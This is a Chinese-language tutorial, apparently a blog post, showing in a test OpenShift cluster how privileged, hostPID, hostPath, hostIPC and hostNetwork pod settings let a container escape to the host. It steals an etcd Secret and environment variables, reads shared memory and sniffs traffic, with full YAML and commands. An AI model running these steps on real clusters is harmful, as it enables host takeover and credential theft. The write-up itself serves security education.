OpenShift - 利用容器的特权配置实现对OpenShift攻击

《OpenShift / RHEL / DevSecOps 汇总目录》
说明：本文已经在 OpenShift 4.13 的环境中验证

本文是《容器安全 - 利用容器的特权配置实现对Kubernetes攻击》的后续篇，来介绍在 OpenShift 环境中的容器特权配置和攻击过程和 Kubernetes 环境的差异。

文章目录

准备环境
利用特权配置对Kubernetes容器攻击
- privileged + hostpid
- - 获取 ETCD 中的数据
  - 获取 PID 的运行参数
- privileged
- privileged+hostpath
- hostipc
- privileged+hostnetwork
参考

准备环境

执行命令可以看到该 OpenShift 集群的相关节点。

$ oc get node -owide
NAME                            STATUS   ROLES                  AGE   VERSION           INTERNAL-IP   EXTERNAL-IP   OS-IMAGE                                                       KERNEL-VERSION                 CONTAINER-RUNTIME
control-plane-cluster-fbt6n-1   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.10   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-2   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.11   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-3   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.12   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-1          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.20   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-2          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.21   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9

创建新的 project，并确认标签默认包含有 “pod-security.kubernetes.io” 相关内容。这是由于 OpenShift 默认对资源施加了 pod-security 策略。

$ oc new-project pod-security
$ oc get ns pod-security -ojsonpath={.metadata.labels} | jq
{
  "kubernetes.io/metadata.name": "pod-security",
  "pod-security.kubernetes.io/audit": "privileged",
  "pod-security.kubernetes.io/audit-version": "v1.24",
  "pod-security.kubernetes.io/warn": "privileged",
  "pod-security.kubernetes.io/warn-version": "v1.24"
}

尝试删除 Project 或 Namespace 的 pod-security.kubernetes.io 相关标签配置，确认系统提示无法修改。这是因为 OpenShift 对资源施加的 pod-security 策略是强制的，虽然不能通过上述标签关闭此功能，但可以通过显示声明的方式使用特权模式运行 Pod。
为了后面的测试，我们在集群中创建一个被攻击的 Secret 以及一个验证目录 test。

$ oc create secret generic my-secret \
    --from-literal=username=myadmin \
    --from-literal=password='mypass'

为本文采用标准 OpenShift 集群，在后面配置中有些需要强行让 Pod 运行在指定节点上。设置后面使用的 Master 和 Worker 节点名称。

$ MASTER_NODE=control-plane-cluster-fbt6n-3
$ WORKER_NODE=worker-cluster-fbt6n-3

利用特权配置对Kubernetes容器攻击

privileged + hostpid

获取 ETCD 中的数据

当 privileged 设为 true 时容器会以特权运行，而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程，并允许进入这些进程的命名空间。

执行以下命令创建包含 privileged + hostpid 配置的部署。从对应 Pod 可进入属于 Master 宿主机的 init system (PID 1 进程) ，从而能访问宿主机文件系统并在宿主机上执行命令。

$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv-and-hostpid-1
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv-and-hostpid-1
  template:
    metadata:
      labels:
        app: priv-and-hostpid-1
    spec:
      nodeName: ${MASTER_NODE}
      hostPID: true
      containers:
        - name: priv-and-hostpid
          image: ubuntu
          tty: true
          securityContext:
            privileged: true
          command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
EOF

在 OpenShift 控制台中可以看到部署告警，其中包含 Privileged containers are not allowed 的提示。这是因为在 OpenShift 中运行特权容器需要通过有权限的 serviceaccount 才可以。
为了能部署运行特权容器，可通过以下三步实现：先创建一个 serviceaccount，然后再赋予 serviceaccount 以 privileged 的 SCC 权限，最后再将 serviceaccount 设给 deployment。

$ oc describe scc privileged
Name:                                           privileged
Priority:                                       <none>
Access:
  Users:                                        system:admin,system:serviceaccount:openshift-infra:build-controller
  Groups:                                       system:cluster-admins,system:nodes,system:masters
Settings:
  Allow Privileged:                             true
  Allow Privilege Escalation:                   true
  Default Add Capabilities:                     <none>
  Required Drop Capabilities:                   <none>
  Allowed Capabilities:                         *
  Allowed Seccomp Profiles:                     *
  Allowed Volume Types:                         *
  Allowed Flexvolumes:                          <all>
  Allowed Unsafe Sysctls:                       *
  Forbidden Sysctls:                            <none>
  Allow Host Network:                           true
  Allow Host Ports:                             true
  Allow Host PID:                               true
  Allow Host IPC:                               true
  Read Only Root Filesystem:                    false
  Run As User Strategy: RunAsAny
    UID:                                        <none>
    UID Range Min:                              <none>
    UID Range Max:                              <none>
  SELinux Context Strategy: RunAsAny
    User:                                       <none>
    Role:                                       <none>
    Type:                                       <none>
    Level:                                      <none>
  FSGroup Strategy: RunAsAny
    Ranges:                                     <none>
  Supplemental Groups Strategy: RunAsAny
    Ranges:                                     <none>

$ oc create sa sa-privileged
$ oc adm policy add-scc-to-user privileged -z sa-privileged
$ oc set sa deploy priv-and-hostpid-1 sa-privileged

确认 pod 已经能正常部署和运行。

$ oc get pod -l app=priv-and-hostpid-1 -owide
NAME                                  READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
priv-and-hostpid-1-795ff5bcdb-bslxj   1/1     Running   0          10m   10.133.0.35   control-plane-cluster-fbt6n-3   <none>           <none>

由于 Pod 中没有 strings 命令，因此需要先将 etcd 数据库从 master 节点中复制到本地。

$ oc cp $(oc get pod -l app=priv-and-hostpid-1 -o custom-columns=:metadata.name --no-headers):/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /var/lib/etcd/member/snap/db: file changed as we read it

$ ll ~/db
-rw-r--r--. 1 dawnsky dawnsky 127393792 10月29日 10:38 /home/dawnsky/db

使用本地的 strings 工具从 etcd 数据库中可以获取到 my-secret 中的敏感数据。

$ yum install binutils
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
        my-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

获取 PID 的运行参数

当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程，还包括在 pod 中运行的进程以及 pod 的环境变量（/proc/[PID]/environ 文件）和 pod 的文件描述符（/proc/[PID]/fd[X]）。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外，还可以通过 kill 进程来危害 Kubernetes 集群的运行。

执行命令运行具有 hostpid 特性的 Pod。

$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv-and-hostpid-2
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv-and-hostpid-2
  template:
    metadata:
      labels:
        app: priv-and-hostpid-2
        apps: priv-and-hostpid-2
    spec:
      hostPID: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: priv-and-hostpid
          image: ubuntu
          securityContext:
            privileged: true
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
EOF

执行以下命令，为部署设置有 privileged 权限的 serviceaccount。

$ oc set sa deploy priv-and-hostpid-2 sa-privileged

再运行另一个使用测试 Secret 的 Pod。

$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: mypasswd
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mypasswd
  template:
    metadata:
      labels:
        app: mypasswd
        apps: priv-and-hostpid-2
    spec:
      nodeName: ${WORKER_NODE}
      containers:
        - name: mysql
          image: busybox
          command: ['sh', '-c', 'echo "Hello, OpenShift!" && sleep 1000']
          env:
            - name: MY_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: my-secret
                  key: password
EOF

确认 2 个 Pod 都运行在一个 Node 上。

$ oc get pod -l apps=priv-and-hostpid-2 -owide
NAME                                READY   STATUS    RESTARTS   AGE    IP            NODE                     NOMINATED NODE   READINESS GATES
priv-and-hostpid-2-bbcc56f5-nzjnr   1/1     Running   0          51s    10.133.2.26   worker-cluster-fbt6n-3   <none>           <none>
mypasswd-9f488448d-drtqt            1/1     Running   0          34s    10.133.2.27   worker-cluster-fbt6n-3   <none>           <none>

进入 priv-and-hostpid-pod-2-bbcc56f5-nzjn 的 Pod，然后确认可以在 /proc/*/environ 中查找到 MY_PASSWORD 关键字和对应的内容。

$ oc exec -it $(oc get pod -l app=priv-and-hostpid-2 -o custom-columns=:metadata.name --no-headers) -- bash
root@hostpid-pod-bbcc56f5-nzjnr:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-pod-bbcc56f5-nzjnr:/# cat envs.txt | grep MY_PASSWORD
MY_PASSWORD=mypass

privileged

当 privileged 设为 true 时容器会以特权运行，这样可以从容器中访问宿主机的任何设备。

执行命令创建具有 privileged 配置的部署，完成后可以看到如前一个场景的截图一样提示 Privileged containers are not allowed。

$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv
  template:
    metadata:
      labels:
        app: priv
    spec:
      nodeName: ${MASTER_NODE}
      containers:
        - name: priv
          image: redhat/ubi8-init
          securityContext:
            privileged: true
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
EOF

将 sa-privileged 设置到 priv-pod 部署后可以确认 pod 正常运行。

$ oc set sa deploy priv sa-privileged

$ oc get pod -l app=priv -owide
NAME                  READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
priv-ddb749c9-zwtl8   1/1     Running   0          8s    10.133.0.40   control-plane-cluster-fbt6n-3   <none>           <none>

执行命令查看分区，其中 /dev/vdb1 为代表宿主机存储的设备。

$ oc exec -it $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers) -- bash
[root@priv-6d78db564c-x6ctf /]]# fdisk -l
Disk /dev/vda: 100 GiB, 107374182400 bytes, 209715200 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: FBCD7991-A9CA-47A4-9AD7-5D4D70718039

Device       Start       End   Sectors  Size Type
/dev/vda1     2048      4095      2048    1M BIOS boot
/dev/vda2     4096    264191    260096  127M EFI System
/dev/vda3   264192   1050623    786432  384M Linux filesystem
/dev/vda4  1050624 209715166 208664543 99.5G Linux filesystem


Disk /dev/vdb: 30 GiB, 32212254720 bytes, 62914560 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 13B5BB15-3757-4FED-A554-849DC2AE15B3

Device     Start      End  Sectors Size Type
/dev/vdb1   2048 62914526 62912479  30G Linux filesystem

将 /dev/vdb1 挂在到容器的 /host 目录下，确认可以看到 Master 宿主机的目录。

[root@priv-6d78db564c-x6ctf /]# mkdir /host
[root@priv-6d78db564c-x6ctf /]# mount /dev/vdb1 /host/
[root@priv-6d78db564c-x6ctf /]# ls /host/member/
snap  wal

$ oc cp $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers):/host/member/snap/db ~/db
tar: Removing leading `/' from member names

$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
        my-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged+hostpath

通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中，从而获得宿主机文件系统的读/写权限。如果容器是运行在 master 节点上，则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。

执行命令运行具有 hostpath 特性的 Pod，它将挂载宿主机的 / 目录。

$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv-and-hostpath
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv-and-hostpath
  template:
    metadata:
      labels:
        app: priv-and-hostpath
    spec:
      nodeName: ${MASTER_NODE}
      containers:
        - name: priv-and-hostpath
          image: ubuntu
          securityContext:
            privileged: true
          volumeMounts:
          - mountPath: /host
            name: noderoot
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
      volumes:
        - name: noderoot
          hostPath:
            path: /
EOF

此时 Deployment 依然会提示部署告警，需要执行以下命令为部署设置有 privileged 权限的 serviceaccount。

$ oc set sa deploy priv-and-hostpath sa-privileged

$ oc get pod -l app=priv-and-hostpath -owide
NAME                                 READY   STATUS    RESTARTS   AGE    IP            NODE                            NOMINATED NODE   READINESS GATES
priv-and-hostpath-7bcd778596-r6prj   1/1     Running   0          102s   10.133.0.43   control-plane-cluster-fbt6n-3   <none>           <none>

通过 priv-and-hostpath 部署将 Master 节点的 ETCD 数据库文件复制到本地。

$ oc cp $(oc get pod -l app=priv-and-hostpath -o custom-columns=:metadata.name --no-headers):/host/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /host/var/lib/etcd/member/snap/db: file changed as we read it

确认从宿主机上未加密 ETCD 数据库中获得到 Secret 敏感数据。

$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
        my-secret
pod-security"
*$8c572ad6-8f66-48f5-97cb-cd79035208822
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

hostipc

当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间，利用 IPC 可以访问到保存在宿主机共享内存中的数据。

执行命令运行 2 个具有 hostipc 特性的 Deployment。

$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: hostipc-1
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hostipc-1
  template:
    metadata:
      labels:
        app: hostipc-1
        apps: hostipc
    spec:
      hostIPC: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: hostipc
          image: ubuntu
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
---
kind: Deployment
apiVersion: apps/v1
metadata:
  name: hostipc-2
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hostipc-2
  template:
    metadata:
      labels:
        app: hostipc-2
        apps: hostipc
    spec:
      hostIPC: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: hostipc
          image: ubuntu
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
EOF

执行以下命令，为 2 个部署设置有 privileged 权限的 serviceaccount。

$ oc set sa deploy hostipc-1 sa-privileged
$ oc set sa deploy hostipc-2 sa-privileged

查看 2 个 Pod 都运行在相同的 Node 上。

$ oc get pod -o wide -l apps=hostipc
NAME                         READY   STATUS    RESTARTS   AGE   IP            NODE                     NOMINATED NODE   READINESS GATES
hostipc-1-6b7474694f-k864f   1/1     Running   0          77s   10.135.0.12   worker-cluster-fbt6n-3   <none>           <none>
hostipc-2-849c6f5ff7-pbd7s   1/1     Running   0          78s   10.135.0.11   worker-cluster-fbt6n-3   <none>           <none>

先进入 hostipc-1-6b7474694f-k864f 的 Pod，将测试数据写入 IPC 共享区。

$ oc exec -it $(oc get pod -l app=hostipc-1 -o custom-columns=:metadata.name --no-headers) --  bash
root@hostipc-1-6b7474694f-k864f:/# echo "secretpassword" > /dev/shm/secretpassword.txt
root@hostipc-1-6b7474694f-k864f:/# exit
exit

再进入 hostipc-2-849c6f5ff7-pbd7 的 Pod，确认可以通过 IPC 共享区获取到 hostipc-1-6b7474694f-k864f 写入的测试数据。

$ oc exec -it $(oc get pod -l app=hostipc-2 -o custom-columns=:metadata.name --no-headers) -- more /dev/shm/secretpassword.txt 
secretpassword

privileged+hostnetwork

当 Pod 的 hostnetwork 为 true 时，pod 实际上用的是宿主机的网络地址空间：即 pod 使用的是宿主机 IP，而非 CNI 分配的 IP，端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分，因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。

执行命令，创建一个使用 hostnetwork 的 Pod 和一个普通 Deployment 及其对应的 Service。强制所有 Pod 都运行在 OpenShift 集群的一个 Worker 节点上。

$ cat << EOF | kubectl apply -f -
kind: Pod
apiVersion: v1
metadata:
  name: priv-and-hostnetwork
  labels:
    apps: priv-and-hostnetwork
spec:
  hostNetwork: true
  nodeName: ${WORKER_NODE}
  containers:
    - name: priv-and-hostnetwork
      command:
        - /bin/sh
      securityContext:
        privileged: true
      tty: true
      image: quay.io/openshift/origin-tests:4.14
---
apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: hello-openshift
  name: hello-openshift
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hello-openshift
  template:
    metadata:
      labels:
        app: hello-openshift
        apps: priv-and-hostnetwork
    spec:
      nodeName: ${WORKER_NODE}
      containers:
      - image: openshift/hello-openshift
        name: hello-openshift
        ports:
        - containerPort: 8080
          protocol: TCP
        - containerPort: 8888
          protocol: TCP
---
apiVersion: v1
kind: Service
metadata:
  name: hello-openshift
spec:
  type: NodePort
  ports:
    - nodePort: 32222
      port: 8080
  selector:
    app: hello-openshift
EOF

查看 2 个 Pod 都运行在相同的 Worker 节点上，另外普通 Pod 的 IP 使用的是容器网段 10.133.2.14，而启用 hostnetwork 的 Pod 使用的就是 Worker 宿主机节点的 IP 地址 10.10.10.22。

$ oc get pod -l apps=priv-and-hostnetwork -owide
NAME                               READY   STATUS    RESTARTS   AGE   IP            NODE                     NOMINATED NODE   READINESS GATES
hello-openshift-786967d498-vqzzs   1/1     Running   0          9s    10.133.2.31   worker-cluster-fbt6n-3   <none>           <none>
priv-and-hostnetwork               1/1     Running   0          9s    10.10.10.22   worker-cluster-fbt6n-3   <none>           <none>

查看普通 Pod 对应 Service 绑定的 nodeport 端口。

$ oc get svc hello-openshift -ojsonpath={.spec.ports[0].nodePort}
32222

进入 priv-and-hostnetwork 的 Pod，然后查看从容器可看到的 IP 配置。

$ oc exec -it priv-and-hostnetwork -- bash
[root@worker-cluster-fbt6n-3 /]# ip a

使用 tcpdump 开始嗅探到流经 32222 端口的 TCP 数据。

[root@worker-cluster-fbt6n-3 /]# tcpdump -s 0 -A 'tcp dst port 32222 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

在第二个终端里进入 Worker 节点，然后查看节点 IP 配置，确认它和第 4 步的 IP 地址相同。

$ oc debug node/${WORKER_NODE}
Temporary namespace openshift-debug-nrkr2 is created for debugging node...
Starting pod/worker-cluster-fbt6n-3-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.10.10.22
If you don't see a command prompt, try pressing enter.
sh-4.4# ip a

在第二个终端里使用的 IP 和 Service 绑定的 nodeport 访问运行在普通 Pod 中运行的 hello-openshift，确认可以正常访问。

sh-4.4# curl 10.10.10.22:32222
Hello OpenShift!

回到第 5 步的窗口，确认在 priv-and-hostnetwork 中已经可以嗅探到 Response 的数据。在真是情况下这些数据可以是敏感的业务数据，或是未经保护的密码等数据。

13:31:23.358854 IP worker-cluster-fbt6n-3.32222 > worker-cluster-fbt6n-2.59406: Flags [P.], seq 1:135, ack 81, win 478, options [nop,nop,TS val 2910336089 ecr 716100043], length 134
E...h.@.=...

.

.}....qT.........(......
.x4Y*...HTTP/1.1 200 OK
Date: Wed, 01 Nov 2023 13:31:23 GMT
Content-Length: 17
Content-Type: text/plain; charset=utf-8

Hello OpenShift!

参考

https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
https://www.middlewareinventory.com/blog/tcpdump-capture-http-get-post-requests-apache-weblogic-websphere/
https://www.cnblogs.com/yechen2019/p/14690601.html